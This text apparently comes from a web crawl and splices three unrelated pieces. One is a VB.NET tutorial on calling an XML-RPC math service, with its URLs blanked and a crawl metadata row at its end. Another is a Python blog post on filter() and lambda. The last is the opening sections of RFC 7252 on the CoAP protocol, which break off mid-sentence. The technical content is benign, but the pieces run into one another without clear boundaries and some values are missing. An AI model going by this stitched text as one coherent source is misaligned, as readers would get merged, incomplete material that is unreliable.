RPC in Microsoft .NET. Fortunately, there is a well established XML RPC library
written by Charles Cook specifically for this purpose and called XML-RPC.Net.
XML-RPC.Net is a .NET class library for implementing XML-RPC clients and
servers.
You can obtain XML-RPC.Net from
Inside the download you will find the 'CookComputing.XmlRpc.dll'
which is the DLL / Assembly that represents the xml-rpc.net library. The
responsibility of this library is to put your ordinal function call into a
form suitable to the used transfer protocol (In other words forms it into a
packet), open the connection; send a request to the server containing the
requested web service. The server run the request (run
the called method) then returns the result to the xml-rpc.net library. The xml-rpc.net
library will parse the incoming package, extracts the result from it, and
returns it as a normal type to the called method. All the transfers in the above
scenario are done using the XML language.
- Put the 'CookComputing.XmlRpc.dll' library in the same
directory with the project's executable file (.EXE).
- Add a reference to the library in to your project by using the references node
in Solution Explorer window.
- Add a reference to the 'CookComputing.XmlRpc' namespace in the 'imports'
section at the top of your source code file as shown below.
Imports CookComputing.XmlRpc
Now the XML-RPC.Net library is set-up into your project
and you can write code to make use of it.
We will build a small program that makes a simple
addition operation. We will use the test math service available at
""
Open up your Visual Studio 2005 and create a new Visual
Basic project. In the 'Solution Explorer' window, left click the project name
and click 'Add Reference...' on the appeared pop up menu as shown below.
Click the 'Browse' tab of the 'Add Reference' dialog box.
Browse to the project's 'Bin' directory where you put your 'CookComputing.XmlRpc.dll'
file. Select it then click 'Ok'. The DLL is now added to the references section
of your project.
Design a suitable graphical user interface as the
following one.
From the properties window name the first text box
"TB_Num1", name the second one "TB_Num2", name the button "Btn_Add", and finally
name the label "Lbl_Result".
Double click the form body to activate the Form1's load
event handler, and double click the button to activate its click event handler.
Now view the source code file of 'Form1'. At the top of the code file add the
following imports statement to removes the need to qualify names when you use
any defined methods or types from the referenced DLL.
To be able to perform calls to the needed services you
have to do the followings:
Define the following interface outside the "Form1" class
scope. Just put it on top of the "Form1" class declaration.
Interface
IMath
<CookComputing.XmlRpc.XmlRpcMethod("math.Add")>
_
Function
Add(ByVal a As
Integer, ByVal b
As Integer)
As Integer
End
Interface
The above lines of code define a new interface called "IMath".
Inside the interface is a function called "Add" takes two integer parameters and
returns an integer as a result. The purpose of the line above the function
prototype is to provide the suitable association between the declared 'Add'
function and its counterpart in the test math services. So, when you type "Add(a,b)"
in your code the "math.Add" function (which is located at the XML RPC server)
will be called instead.
In the "Form1" class define the following variables.
Private
mathProxy As IMath
Private
ClientProtocol As XmlRpcClientProtocol
Private TxtUrl
As String
As you see the first line defines a variable of the type
"IMath". The second one defines a "ClientProtocol" variable of type "XmlRpcClientProtocol"
which is a predefined type in the "CookComputing.XmlRpc" namespace. The last
line defines an ordinary string variable.
In the "Form1_Load" event handler add the following lines
of code.
Private
Sub Form1_Load(ByVal
sender As System.Object, _
ByVal
e As System.EventArgs)
Handles MyBase.Load
mathProxy =
CType(XmlRpcProxyGen.Create(GetType(IMath)),
IMath)
ClientProtocol =
CType(mathProxy, XmlRpcClientProtocol)
TxtUrl =
""
End
Sub
The first line of code in this function calls the static
"Create" method of "XmlRpcProxyGen" to create an instance of a dynamically
generated class which implements the interface and derives from "XmlRpcClientProtocol". The
second line returns the result of explicitly converting the "mathProxy" into "XmlRpcClientProtocol"
type. The third line just assigns the URL of the server providing the XML RPC
service. Note that the same URL could be used for a set of services (functions)
like 'Subtract', 'Multiply', or 'Divide'.
In the 'Btn_Add_Click' event handler add the following
lines of code.
Private
Sub Btn_Add_Click(ByVal
sender As System.Object, _
ByVal
e As System.EventArgs)
Handles Btn_Add.Click
ClientProtocol.Url
= TxtUrl
Cursor =
Cursors.WaitCursor
Try
Me.Lbl_Result.Text =
""
Dim a As
Integer = Me.TB_Num1.Text
Dim b As
Integer = Me.TB_Num2.Text
Dim result As
Integer = mathProxy.Add(a, b)
Me.Lbl_Result.Text = result.ToString
Catch ex As
Exception
MsgBox(ex.Message.ToString)
End Try
Cursor =
Cursors.Default
End
Sub
ClientProtocol.Url = TxtUrl assigns the URL of the test server to the 'ClientProtocol'
URL property. In the 'Try' block we assign the two numbers written in text boxes
to variables 'a' and 'b'. The mathProxy.Add(a, b) function of the defined 'mathproxy'
is called and the result is assigned to the 'result' variable. Then the result
is displayed in the label as shown below.
You can download sample Using RPC With VB.NET
sample Visual Studio project, used in this tutorial.
Tutorial toolbar: Tell A Friend | Add to favorites | Feedback | | https://beansoftware.com/Windows-Forms-Tutorials/Using-XML-RPC-With-VB.NET.aspx | CC-MAIN-2021-49 | refinedweb | 1,200 | 57.98 |
The Filter() method is one of the most useful and inbuilt method in Python programming language. The filter() method is an iterator which takes two parameter, function and iterable_objects.
Filter() Method:
The filter method filters elements from given iterable_objects if any element from that object doesn’t satisfy the condition defined inside given function or return false.
Parameters:
Filter method takes two parameters and it’s syntax is:
filter(func, iterable_object)
Two parameters are:
- function: this function takes one parameter, which will be an item from the given iterable object. and then checks the specific condition and returns true or false. If the item from that iterable satisfies the condition then it stores that item inside the filter object, otherwise it filters it.
- iterable_object: this iterable object could be any iterable e.g list, tuple, sets, etc. filter method will take each item from this iterable_object, and then it will pass it through the given function.
Now let’s try to understand this thing with an example to make it more clear
numbers = [1,2,3,4,5,6,7,8] def func(item): if item%2 == 0: return True filter_fun = filter(func, numbers) print(list(filter_fun))
In the above code, you can see we have a list called numbers. And we declared a func(item), which takes one parameter and then checks whether its even number or not. If its even number then return true.
then we performed filter method and inserted our declarer func and numbers(list) as arguments. Now this filter func will takes one item from given list(numbers) and then it will pass it through given func. If this item is an even no, then the func will return true and will store it inside filter object.
Now, this filter object is an iterator also. So, you can perform a loop or create a list from a filter object using the list() function.
Using Lambda expression with filter() method:
You can also use lambda expression instead of defining separate function to check condition:
def func(item): if item%2 == 0: return True Or lambda item:item%2==0
Now you can see that lambda expression makes it simpler and clearer. So, you can directly use this lambda expression inside.
That’s it in this article.
Read also: Map function in Python
So, I hope you all liked this article. If yes then please don’t forget to share this article with others. You can also subscribe to our blog via email to get future notifications from us.
Thanks to read… | https://www.codechit.com/filter-method-in-python/ | CC-MAIN-2021-31 | refinedweb | 425 | 63.09 |
How to print colored message on command line terminal window
When you are developing a python script with some output messages printed on the terminal window, you may find a little bit boring that all the messages are printed in black and white, especially if some messages are meant for warning, and some just for information only. You may wonder how to print colored message to make them look differently, so that your users are able to pay special attention to those warning or error messages.
In this article, I will be sharing with you a library which allows you to print colored message in your terminal.
Let’s get started!
The library I am going to introduce called colorama, which is a small and clean library for styling your messages in both Windows, Linux and Mac os.
Prerequisite :
You will need to install this library, so that you will be able to run the following code in this article.
pip install colorama
To start using this library, you will need to import the modules, and call the init() method at the beginning of your script or your class initialization method.
import colorama from colorama import Fore, Back, Style colorama.init()
Print colored message with colorama
The init method also accepts some **kwargs to overwrite it’s default behaviors. E.g. by default, the style will not be reset back after printing out a message, and the subsequent messages will be following the same styles. You can pass in autoreset = true to the init method, so that the style will be reset after each printing statement.
Below are the options you can use when formatting the font, background and style.
Fore: BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE, RESET. Back: BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE, RESET. Style: DIM, NORMAL, BRIGHT, RESET_ALL
To use it in your message, you can do as per below to wrap your messages with the styles:
print(Fore.CYAN + "Cyan messages will be printed out just for info only" + Style.RESET_ALL) print(Fore.RED + "Red messages are meant to be to warning or error" + Style.RESET_ALL) print(Fore.YELLOW + Back.GREEN + "Yellow messages are debugging info" + Style.RESET_ALL)
This is how it would look like in your terminal:
As I mentioned earlier, if you don’t set the autoreset to true, you will need to reset the style at the end of your each message, so that different message applies different styles.
What if you want to apply the styles when asking user’s input ? Let’s see an example:
print(Fore.YELLOW) choice = input("Enter YES to confrim:") print(Style.RESET_ALL) if str.upper(choice) in ["YES",'Y']: print(Fore.GREEN + "You have just confirmed to proceed." + Style.RESET_ALL) else: print(Fore.RED + "You did not enter yes, let's stop here" + Style.RESET_ALL)
By wrapping the input inside Fore.YELLOW and Style.RESET_ALL, whatever output messages from your script or user entry, the same style will be applied.
Let’s put all the above into a script and run it in the terminal to check how it looks like.
Yes, that’s exactly what we want to achieve! Now you can wrap your printing statement into a method e.g.: print_colored_message, so that you do not need to repeat the code everywhere.
As per always, please share if you have any comments or questions. | https://www.codeforests.com/2020/06/20/python-print-colored-message-on-terminal-window/ | CC-MAIN-2022-21 | refinedweb | 564 | 73.07 |
Learn how easy it is to sync an existing GitHub or Google Code repo to a SourceForge project! See Demo
You can subscribe to this list here.
Showing
11
results of 11
The code:
********************HeaderTemplateClasses.hpp
BEGIN**************************
template<unsigned n> class Class_A{
private:
template<unsigned m> struct Class_B{
unsigned A[m];
Class_B(void){for(unsigned I=0;I<m;I++) A[I]=I;}
};
static const Class_B<n> StDt;
public:
static unsigned GNum(unsigned index);
};
template<unsigned l>
unsigned Class_A<l>::GNum(unsigned i){
if(i < l)return StDt.A[i];
else return 0;}
template<unsigned p>
const Class_A<p>::Class_B<p> Class_A<p>::StDt;
********************HeaderTemplateClasses.hpp
END**************************
********************HeaderTemplateClasses.cpp
BEGIN**************************
#include "HeaderTemplateClasses.hpp"
********************HeaderTemplateClasses.cpp
END**************************
********************MAIN_FILE.cpp BEGIN**************************
#include <iostream>
#include <cstdlib>
#include "HeaderTemplateClasses.hpp"
using namespace std;
int main(void)
{
unsigned index=0;
do
{ cout << "Dame el indice que quieres conocer : ";
cin >> index;
cout << Class_A<3>::GNum(index) << " "
<< Class_A<5>::GNum(index) << " "
<< Class_A<7>::GNum(index) << endl;
}while(index!=11 && cin);
return 0;
}
********************MAIN_FILE.cpp END**************************
It is a copy&paste from the project for console in Dev-C++ 5 with MinGW
2.95.7 special.
Are there any sugestions to make better the code or are there any problem in
the code?.
Thanks.
Julián.
I didn't know these lines:
>// This is the static template data member definition. It should be in
>// the same header where 'MyTemplateClass' is defined.
>
>template <unsigned num>
>const mi_vector<num> MyTemplateClass<num>::MyStaticDataMember;
Please perdon for the unchecked code and I'll try this lines in the code.
Thanks.
--
Oscar
_______________________________________________
MinGW-users mailing list
MinGW-users@...
You may change your MinGW Account Options or unsubscribe at:
Juli=E1n Calder=F3n Almendros <julian_calderon@...> writes:
> How Do I Initialize this static data member:
>=20
> **********File_1.hpp begin**************
> template<unsigned number> struct mi_vector{
> unsigned[number] my_array;
unsigned my_array[number];=20
> mi_vector(void){for(int I=3D0;I<number;I++) my_array[I]=3DI;}
The above member function should be:
void mi_vector(void) {=20
for(unsigned I=3D0; I<number; I++)
my_array[I]=3DI;
}
Note the 'void' return type. In C++ you should declare the type
returned by every function or 'void' if it does not return
nothing. Also note that is a bad practice to compare signed integers
with unsigned integers. 'for(int' changed to 'for(unsigned'
> };
> template<unsigned num> class MyTemplateClass{
> static const mi_vector<num> MyStaticDataMember;
> };
// This is the static template data member definition. It should be in
// the same header where 'MyTemplateClass' is defined.
template <unsigned num>=20
const mi_vector<num> MyTemplateClass<num>::MyStaticDataMember;
> **********File_1.hpp end****************
> **********File_1.cpp begin**************
> #include "File_1.hpp"
> const my_vector<num> MyStaticDataMember(num);//=BF=BF??
Nope. See above. The definition of the template data member must be
visible for all the units that specialize the template. And, over all,
don't cofuse template parameters with function/constructor parameters.
> **********File_1.cpp end****************
> **********File_Main.cpp begin***********
> #include "File_1.hpp"
> void main(){
'main' _must_ return 'int' although you can omit the final
'return'. In that case 'main' returns 0. So replace the above with
int main() {
> MyTempClass<9> WishedObject();
MyTemplateClass<9> WishedObject;
For parameter-less constructors the parens should be avoided. In this
case the compiler thinks you are _declaring_ a function called
WishedObject who returns a MyTempClass<9>. So the above is not a
constructor at all. Remove the parens.
> };
That semi-colon at the end of a function definition is against the
Standard too :-) Some compilers will report an error.
> **********File_Main.cpp end***********
Next time please check the code before posting and remove the trivial
errors. Use copy&paste to put the code in the msg.
--=20
Oscar
Just redefining this programming question for what it is, a programming question. Static variables are used in the
Mingw runtime, but this does not appear to be Mingw related.
On 7 Apr 2002 at 19:06, Julián Calderón Almendros wrote:
>***********
>
>
> _______________________________________________
> MinGW-users mailing list
> MinGW-users@...
>
> You may change your MinGW Account Options or unsubscribe at:
>
Hi folks,
On 7 Apr 2002 at 4:31, Oscar Fuentes wrote:
> .
What Oscar said is correct.
Isidro, you need to tell us what a .h file is to you first. To most people who program in either c or c++, .h files
are specific files for specific uses. The .h on a file typically means .h(eader) file.
Any good C/C++ programming documentation will point out to you what an .h file really is, as well as what it
is and can (or can not) be used for.
Finally, the question is a programming question that doesn't really have a bearing on the Mingw runtime or
how Mingw runs/functions. In the future it might be a good idea, in order to maintain clarity and order on the list, to
entitle these sorts of posts as either a) OT or b) Semi-OT. OT means "Off Topic".
Thanks for your patience.
Paul G.
>
> --
> Oscar
>
>
> _______________________________________________
> MinGW-users mailing list
> MinGW-users@...
>
> You may change your MinGW Account Options or unsubscribe at:
>***********
Introduction
============ existence and development is impossible without community
attention and contribution. Please submit bugreports via
this link:
(if you are registered SourceForge user, please submit when you are
logged in). Submit patches for MinGW runtime/tools, corrections and
additions for the web pages via .
MinGW maintainers,
greetings.
sorry, i know this topic came up before, but i
still can't seem to find the info i require.
would like to know where i might find the headers
for sgi's opengl 1.2 implementation. or are they
already in the distribution packages? or should i
use the headers that come with sgi's opengl 1.2?
(those seem to be for msvc and borland though,
i'm not sure if the msvc version could be used
and have not tried... sorry...)
i tried this site:
but it seems to be down?
i would assume i can use the .lib files supplied
with sgi's opengl implementation without problems..
this part and below are somewhat off topic...
(sorry)
btw, which is the newer or better implementation
of opengl? i would guess that sgi's implementation
is superior. but some sites seem to say otherwise...
weird... they claim that microsoft's implementation
of opengl has replaced sgi's implementation... and
therefore, sgi is also no longer distributing their
implementation of opengl on win32. (i had a hard
time looking for the binaries actually). yet,
some sites claim that sgi made the implementation
to counter directx and to show ms's implementation
of opengl was sucky, and to correct the publics
perception of opengl.
can anyone shed some light?
anyway, i would assume that sgi's implementation is
free from certain bugs that haunt the ms implementation
too?;en-us;Q272222
thanks in advance.
rgds,
kh
I cannot know if anyone is still interested in this topic, but it's
friday and I feel a holiday coming on and feel in the mood to expound
out of compassion for others (nothing to with Easter necessarily, I am
not a Xian but trying to be a Buddhist...). So here goes again...
On Fri, 22 Mar 2002 11:34:50 -0600 (CST), "M Joshua Ryan"
<josh@...> said:
> On Fri, 22 Mar 2002, Soren Andersen wrote:
>
> > On Fri, 22 Mar 2002 09:33:15 -0600 (CST), "M Joshua Ryan"
> > <josh@...> said:
> >
> > > then you probably need to look at CreatePipe, DuplicateHandle,
> > > and CreateProcess in win32. for cygwin, you can stick with
> > > pipe(2).
> >
> > Thanks, Joshua, but there's still some kind of breakdown in
> > comprehension here. I think it might stem from lack of familiarity
> > with UNI*-style tool pipelining, in shell scripts, on your end? In
> > what i am doing here, the *SHELL* is going to be creating a pipe
> > (sometimes, according to user decree, NOT programmer choice!!) and
> > supplying all the context for what's going on here. This is a
> > cross-platform stand-alone console application, not a Win32-only
> > complex something-or-other. The real crux of my initial query lies
> > in that porting applications to Windows from standard UNI* -style
> > code is complexified because you cannot treat stdin and stdout on
> > Win32 like any other filehandle, as in the UNI* credo "everything
> > is a file".
> as i understand it, normal windows batchfiles cannot create pipes.
> it's part of their inheritance from DOS. i don't think there's a
> terrible lack of understanding on my part.
> unix shells create pipes between programs using the pipe(2) system
> call to setup the proper connections between filehandles before
> calling fork(2). since DOS didn't have a fork() (because it didn't
> have multiple processes), the command shell implemented "piping" by
> redirecting the output of the first program to a temporary file,
> running it to completion, and then redirecting the input of the
> second program to the temporary file.
--
The makefiles which eventually result from using 'automake' 1.5x are monstrosities. Sheer hellish madness. Several dozen targets, named obscene things like "am_remake_your_mother"; utterly counter-intuitive, buried in 4 or 5 levels of indirection, swamped in a thousand lines of baffling, migraine-inducing auto-generated superfluity. [These] Makefiles ought to be taken out and bled to death slowly, shot, burned, staked through the heart, generally Buffy-ated to the maximum possible extent.
-- Soren Andersen (me) in
<>
.
--
Oscar
Hi
I would like to know the correspondence between the .h of MFC and =
the .h of Mingw. could someone help me.
Tks
Isidro | http://sourceforge.net/p/mingw/mailman/mingw-users/?viewmonth=200204&viewday=7 | CC-MAIN-2015-14 | refinedweb | 1,567 | 66.74 |
Request for Comments: 7252
Category: Standards Track
ISSN: 2070-1721
ARM
K. Hartke
C. Bormann
Universitaet Bremen TZI
June 2014
The Constrained Application Protocol (CoAP)
Abstract . . . . . . . . . . . . . . 10 2.1. Messaging Model . . . . . . . . . . . . . . . . . . . . . 11 2.2. Request/Response Model . . . . . . . . . . . . . . . . . 12 2.3. Intermediaries and Caching . . . . . . . . . . . . . . . 15 2.4. Resource Discovery . . . . . . . . . . . . . . . . . . . 15 3. Message Format . . . . . . . . . . . . . . . . . . . . . . . 15 3.1. Option Format . . . . . . . . . . . . . . . . . . . . . . 17 3.2. Option Value Formats . . . . . . . . . . . . . . . . . . 19 4. Message Transmission . . . . . . . . . . . . . . . . . . . . 20 4.1. Messages and Endpoints . . . . . . . . . . . . . . . . . 20 4.2. Messages Transmitted Reliably . . . . . . . . . . . . . . 21 4.3. Messages Transmitted without Reliability . . . . . . . . 23 4.4. Message Correlation . . . . . . . . . . . . . . . . . . . 24 4.5. Message Deduplication . . . . . . . . . . . . . . . . . . 24 4.6. Message Size . . . . . . . . . . . . . . . . . . . . . . 25 4.7. Congestion Control . . . . . . . . . . . . . . . . . . . 26 4.8. Transmission Parameters . . . . . . . . . . . . . . . . . 27 4.8.1. Changing the Parameters . . . . . . . . . . . . . . . 27 4.8.2. Time Values Derived from Transmission Parameters . . 28 5. Request/Response Semantics . . . . . . . . . . . . . . . . . 31 5.1. Requests . . . . . . . . . . . . . . . . . . . . . . . . 31 5.2. Responses . . . . . . . . . . . . . . . . . . . . . . . . 31 5.2.1. Piggybacked . . . . . . . . . . . . . . . . . . . . . 33 5.2.2. Separate . . . . . . . . . . . . . . . . . . . . . . 33 5.2.3. Non-confirmable . . . . . . . . . . . . . . . . . . . 34 5.3. Request/Response Matching . . . . . . . . . . . . . . . . 34 5.3.1. Token . . . . . . . . . . . . . . . . . . . . . . . . 34 5.3.2. Request/Response Matching Rules . . . . . . . . . . . 35 5.4. Options . . . . . . . . . . . . . . . . . . . . . . . . . 36 5.4.1. Critical/Elective . . . . . . . . . . . . . . . . . . 37 5.4.2. Proxy Unsafe or Safe-to-Forward and NoCacheKey . . . 38 5.4.3. Length . . . . . . . . . . . . . . . . . . . . . . . 38 5.4.4. Default Values . . . . . . . . . . . . . . . . . . . 38 5.4.5. Repeatable Options . . . . . . . . . . . . . . . . . 39 5.4.6. Option Numbers . . . . . . . . . . . . . . . . . . . 39 5.5. Payloads and Representations . . . . . . . . . . . . . . 40 5.5.1. Representation . . . . . . . . . . . . . . . . . . . 40 5.5.2. Diagnostic Payload . . . . . . . . . . . . . . . . . 41 5.5.3. Selected Representation . . . . . . . . . . . . . . . 41 5.5.4. Content Negotiation . . . . . . . . . . . . . . . . . 41 5.6. Caching . . . . . . . . . . . . . . . . . . . . . . . . . 42 5.6.1. Freshness Model . . . . . . . . . . . . . . . . . . . 43 5.6.2. Validation Model . . . . . . . . . . . . . . . . . . 43 5.7. Proxying . . . . . . . . . . . . . . . . . . . . . . . . 44 5.7.1. Proxy Operation . . . . . . . . . . . . . . . . . . . 44 5.7.2. Forward-Proxies . . . . . . . . . . . . . . . . . . . 46 5.7.3. Reverse-Proxies . . . . . . . . . . . . . . . . . . . 46 5.8. Method Definitions . . . . . . . . . . . . . . . . . . . 47 5.8.1. GET . . . . . . . . . . . . . . . . . . . . . . . . . 47 5.8.2. POST . . . . . . . . . . . . . . . . . . . . . . . . 47 5.8.3. PUT . . . . . . . . . . . . . . . . . . . . . . . . . 48 5.8.4. DELETE . . . . . . . . . . . . . . . . . . . . . . . 48 5.9. Response Code Definitions . . . . . . . . . . . . . . . . 48 5.9.1. Success 2.xx . . . . . . . . . . . . . . . . . . . . 48 5.9.2. Client Error 4.xx . . . . . . . . . . . . . . . . . . 50 5.9.3. Server Error 5.xx . . . . . . . . . . . . . . . . . . 51 5.10. Option Definitions . . . . . . . . . . . . . . . . . . . 52 5.10.1. Uri-Host, Uri-Port, Uri-Path, and Uri-Query . . . . 53 5.10.2. Proxy-Uri and Proxy-Scheme . . . . . . . . . . . . . 54 5.10.3. Content-Format . . . . . . . . . . . . . . . . . . . 55 5.10.4. Accept . . . . . . . . . . . . . . . . . . . . . . . 55 5.10.5. Max-Age . . . . . . . . . . . . . . . . . . . . . . 55 5.10.6. ETag . . . . . . . . . . . . . . . . . . . . . . . . 56 5.10.7. Location-Path and Location-Query . . . . . . . . . . 57 5.10.8. Conditional Request Options . . . . . . . . . . . . 57 5.10.9. Size1 Option . . . . . . . . . . . . . . . . . . . . 59 6. CoAP URIs . . . . . . . . . . . . . . . . . . . . . . . . . . 59 6.1. coap URI Scheme . . . . . . . . . . . . . . . . . . . . . 59 6.2. coaps URI Scheme . . . . . . . . . . . . . . . . . . . . 60 6.3. Normalization and Comparison Rules . . . . . . . . . . . 61 6.4. Decomposing URIs into Options . . . . . . . . . . . . . . 61 6.5. Composing URIs from Options . . . . . . . . . . . . . . . 62 7. Discovery . . . . . . . . . . . . . . . . . . . . . . . . . . 64 7.1. Service Discovery . . . . . . . . . . . . . . . . . . . . 64 7.2. Resource Discovery . . . . . . . . . . . . . . . . . . . 64 7.2.1. 'ct' Attribute . . . . . . . . . . . . . . . . . . . 64 8. Multicast CoAP . . . . . . . . . . . . . . . . . . . . . . . 65 8.1. Messaging Layer . . . . . . . . . . . . . . . . . . . . . 65 8.2. Request/Response Layer . . . . . . . . . . . . . . . . . 66 8.2.1. Caching . . . . . . . . . . . . . . . . . . . . . . . 67 8.2.2. Proxying . . . . . . . . . . . . . . . . . . . . . . 67 9. Securing CoAP . . . . . . . . . . . . . . . . . . . . . . . . 68 9.1. DTLS-Secured CoAP . . . . . . . . . . . . . . . . . . . . 69 9.1.1. Messaging Layer . . . . . . . . . . . . . . . . . . . 70 9.1.2. Request/Response Layer . . . . . . . . . . . . . . . 71 9.1.3. Endpoint Identity . . . . . . . . . . . . . . . . . . 71 10. Cross-Protocol Proxying between CoAP and HTTP . . . . . . . . 74 10.1. CoAP-HTTP Proxying . . . . . . . . . . . . . . . . . . . 75 10.1.1. GET . . . . . . . . . . . . . . . . . . . . . . . . 76 10.1.2. PUT . . . . . . . . . . . . . . . . . . . . . . . . 77 10.1.3. DELETE . . . . . . . . . . . . . . . . . . . . . . . 77 10.1.4. POST . . . . . . . . . . . . . . . . . . . . . . . . 77 10.2. HTTP-CoAP Proxying . . . . . . . . . . . . . . . . . . . 77 10.2.1. OPTIONS and TRACE . . . . . . . . . . . . . . . . . 78 10.2.2. GET . . . . . . . . . . . . . . . . . . . . . . . . 78 10.2.3. HEAD . . . . . . . . . . . . . . . . . . . . . . . . 79 10.2.4. POST . . . . . . . . . . . . . . . . . . . . . . . . 79 10.2.5. PUT . . . . . . . . . . . . . . . . . . . . . . . . 79 10.2.6. DELETE . . . . . . . . . . . . . . . . . . . . . . . 80 10.2.7. CONNECT . . . . . . . . . . . . . . . . . . . . . . 80 11. Security Considerations . . . . . . . . . . . . . . . . . . . 80 11.1. Parsing the Protocol and Processing URIs . . . . . . . . 80 11.2. Proxying and Caching . . . . . . . . . . . . . . . . . . 81 11.3. Risk of Amplification . . . . . . . . . . . . . . . . . 81 11.4. IP Address Spoofing Attacks . . . . . . . . . . . . . . 83 11.5. Cross-Protocol Attacks . . . . . . . . . . . . . . . . . 84 11.6. Constrained-Node Considerations . . . . . . . . . . . . 86 12. IANA Considerations . . . . . . . . . . . . . . . . . . . . . 86 12.1. CoAP Code Registries . . . . . . . . . . . . . . . . . . 86 12.1.1. Method Codes . . . . . . . . . . . . . . . . . . . . 87 12.1.2. Response Codes . . . . . . . . . . . . . . . . . . . 88 12.2. CoAP Option Numbers Registry . . . . . . . . . . . . . . 89 12.3. CoAP Content-Formats Registry . . . . . . . . . . . . . 91 12.4. URI Scheme Registration . . . . . . . . . . . . . . . . 93 12.5. Secure URI Scheme Registration . . . . . . . . . . . . . 94 12.6. Service Name and Port Number Registration . . . . . . . 95 12.7. Secure Service Name and Port Number Registration . . . . 96 12.8. Multicast Address Registration . . . . . . . . . . . . . 97 13. Acknowledgements . . . . . . . . . . . . . . . . . . . . . . 97 14. References . . . . . . . . . . . . . . . . . . . . . . . . . 98 14.1. Normative References . . . . . . . . . . . . . . . . . . 98 14.2. Informative References . . . . . . . . . . . . . . . . . 100 Appendix A. Examples . . . . . . . . . . . . . . . . . . . . . . 104 Appendix B. URI Examples . . . . . . . . . . . . . . . . . . . . 110
1. Introduction
The use of web services (web APIs) on the Internet has become ubiquitous in most applications and depends on the fundamental Representational State Transfer [REST] architecture of the Web.
The work on Constrained RESTful Environments (CoRE) aims at realizing the REST architecture in a suitable form for the most constrained nodes (e.g., 8-bit microcontrollers with limited RAM and ROM) and networks (e.g., 6LoWPAN, [RFC4944]). Constrained networks such as 6LoWPAN support the fragmentation of IPv6 packets into small link- layer frames; however, this causes significant reduction in packet delivery probability. refashioning simple HTTP interfaces into a more compact protocol, more importantly it:
- Web protocol fulfilling M2M requirements in constrained environments
- Asynchronous message exchanges.
- Low header overhead and parsing complexity.
- URI and Content-type support.
- Simple proxy and caching capabilities.
- A stateless HTTP mapping, allowing proxies to be built providing access to CoAP resources via HTTP in a uniform way or for HTTP simple interfaces to be realized alternatively over CoAP.case, absent their normative meanings.
This specification requires readers to be familiar with all the terms and concepts that are discussed in [RFC2616], including "resource", "representation", "cache", and "fresh". (Having been completed before the updated set of HTTP RFCs, RFC 7230 to RFC 7235, became available, this specification specifically references the predecessor version -- RFC 2616.).
Origin Server
The server on which a given resource resides or is to be created.
Intermediary
A CoAP endpoint that acts both as a server and as a client towards an origin server (possibly via further intermediaries).
An endpoint that stands in for one or more other server(s) and satisfies requests on behalf of these, doing any necessary translations. Unlike a forward-proxy, the client may not be aware that it is communicating with a reverse-proxy; a reverse-proxy receives requests as if it were the origin server for the target resource.
CoAP-to-CoAP Proxy
A proxy that maps from a CoAP request to a CoAP request, i.e., uses the CoAP protocol both on the server and the client side. Contrast to cross-proxy.backed Response (see below).backed Response
A piggybacked).
Empty Message
A message with a Code of 0.00; neither a request nor a response. An Empty message only contains the 4-byte header. as defined in Section 7).
Content-Format
The combination of an Internet media type, potentially with specific parameters given, and a content-coding (which is often the identity content-coding), identified by a numeric identifier defined by the "CoAP Content-Formats" registry. When the focus is less on the numeric identifier than on the combination of these characteristics of a resource representation, this is also called "representation format".
Additional terminology for constrained nodes and constrained-node networks can be found in [RFC7228].backed as. (The Message ID is compact; its 16-bit size enables up to about 250 messages per second from one endpoint to another with default protocol parameters.) [IPsec-CoAP].
2.2. Request/Response Model
CoAP request and response semantics are carried in CoAP messages, which include either a Method Code or Response Code, respectively. Optional (or default) request and response information, such as thebacked response, detailed in Section 5.2.1. (There is no need for separately acknowledging a piggybacked response, as the client will retransmit the request if the Acknowledgement message carrying the piggybacked response is lost.) Two examples for a basic GET request with piggybackedbacked Request and a Response Carried in Non-confirmable
-
Messages
CoAP makes use of GET, PUT, POST, and DELETE methods in a similar manner to HTTP, with the semantics specified in Section 5.8. (Note that the detailed semantics of CoAP methods are "almost, but not [OBSERVE].
URI support in a server is simplified as the client already parses the URI and splits it into host, port, path, and query components, making use of default values for efficiency. Response Codes relate to a small subset of HTTP status to limit network traffic, to improve performance, to access resources of sleeping devices, to convert Section 7.
3. Message Format
CoAP is based on the exchange of compact messages that,. (UDP-lite [RFC3828] and UDP zero checksum [RFC6936] are not supported by CoAP.) that. that Numbers" registry (Section 12.2). See Section 5.4 for the semantics of the options defined in this document. that. string: A Unicode string that unreliable:
- Simple stop-and-wait retransmission reliability with exponential back-off for Confirmable messages.
- field in the CoAP Header and is relevant to the request/response model. Possible values for the field are maintained in the CoAP Code Registries . For example,... A recipient MUST reject the message if it lacks context to process the message properly, including the case where the message is Empty, uses a code with a reserved class (1, 6, or 7), or has a message format error. reused .).; per [RFC0791],, at least the CoAP header and options, if not all of the payload,,. specific effects of operating with inconsistent values in an application environment are outside the scope of the present specification. value that is too small with which these adjusted values are to be used to communicate.); there is just the assumption that the same value can reasonably be used as a maximum value for both directions. If that is not the case, the following calculations become only slightly more complex.
- PROCESSING_DELAY is the time a node takes to turn around a Confirmable message into an acknowledgement. We assume the node will attempt to send an ACK before having the sender time out, so as a conservative assumption we set it equal to ACK_TIMEOUT.
- MAX_RTT is the maximum round-trip time, or:
(2 * MAX_LATENCY) + PROCESSING_DELAY
From these values, we can derive the following values relevant to the protocol operation:
- reuse is not bounded by the specification, an expectation of reliable detection of duplication at the receiver is lists the derived parameters introduced in this subsection with their default values.
+-------------------+---------------+ | are exchanged asynchronously over CoAP messages.
5.1. Requests
A CoAP request consists of the method to be applied to the resource, the identifier of the resource, a payload and Internet media type (if any), and optional metadata about the request.
CoAP supports the basic methods of GET, POST, PUT, and.
5.2. Responses
After receiving and interpreting a request, a server responds with a CoAP response that the Client Errorbacked
In the most basic case, the response is carried directly in the Acknowledgement message that acknowledges the request (which requires that the request was carried in a Confirmable message). This is called a "Piggybacked Response".
The response is returned in the Acknowledgement message, independent of whether the response indicates success or failure. In effect, the response is piggybacked on the Acknowledgement message, and no separate message is required to return the response.
Implementation Note: The protocol leaves the decision whether to piggyback a response or not (i.e., send a separate response) to the server. The client MUST be prepared to receive either. On the quality-of-implementation level, there is a strong expectation that servers will implement code to piggyback whenever possible -- saving resources in the network and both at the client and at the server.
5.2.2. Separate
It may not be possible to return a piggybacked response in all cases. For example, a server might need longer to obtain the representation of the resource requested than it can wait to send back the Acknowledgement message, without risking the client repeatedly retransmitting if it knows in advance that there will be no piggybacked that the server MUST echo (without modification) in any resulting response.backed responses. There are, however, multiple possible implementation strategies to fulfill this.
